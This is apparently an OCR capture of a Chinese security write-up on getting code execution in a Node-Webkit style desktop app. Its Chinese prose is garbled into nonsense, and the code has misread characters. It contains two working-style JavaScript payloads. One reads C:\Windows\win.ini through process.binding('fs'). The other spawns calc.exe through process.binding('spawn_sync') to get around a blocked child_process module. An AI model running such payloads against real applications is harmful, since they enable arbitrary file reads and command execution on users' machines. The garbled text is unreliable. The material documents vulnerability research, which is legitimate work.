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Alert u

Error: Module name “child_process™ has not been loaded yet for
context: _
http: /frequirejs. orgfdocs ferrors. himl #notloaded

XAMERFIREFERERAI Nodejs ABENRTENE | HEERSMER N FBR/GY XMEE. &2, FANTHIAREL : How we exploited

a remote code execution vulnerability in math.js

RIEXTRIRE | BERAEBGERAII HHY payload RIRSCIN T HERAIIHEE :

1 alert("Try to read C:\\\\Windows\\win.ini");

2 try{

3 var buffer = new Buffer(8192);
process.binding('fs').read(process.binding('fs').openC". AN ANLANLANL AN AN \\Windows\\win.ini', @, 0600), buffer, 0, 4096);
alert(buffer);

catch(Cerr){

4
5
6}
7
8 alert(err);

9}

{EEESNTEGSHITHNIR , BRI T —LTW, BTFHATHE Yodeis , FRLARRARFIE/IA Nodelebkit HEE object F Array , tBAKIEINARRR
XANERR, FHIFE T PRI , S ETEMR child_processHUIERD , FFEEF span_sync HBRAIFEE,

B, FM window. process. env FRIRENE! env FIRIZ , FHER spawn_syne ARINHEEHEEH TiTEES,

1 // command executed
2 try{

3 spawn_sync = process.binding('spawn_sync');

4 envPairs = [];

5 for (var key in window.process.env) {

6 envPairs.push(key + '=' + window.process.env[key]);

7}

8 args = [1;

9

10 const options = {

11 file: "C:\\\\Windows\\system32\\calc.exe',

12 args: args,

13 envPairs: envPairs,

14 stdio: [

15 { type: 'pipe', readable: true, writable: false },
16 { type: 'pipe', readable: false, writable: true },
17 { type: 'pipe', readable: false, writable: true }

18

19 3}

20 spawn_sync.spawn(options);

21

}
22 catch(err){
23 alert(err);
24 3}
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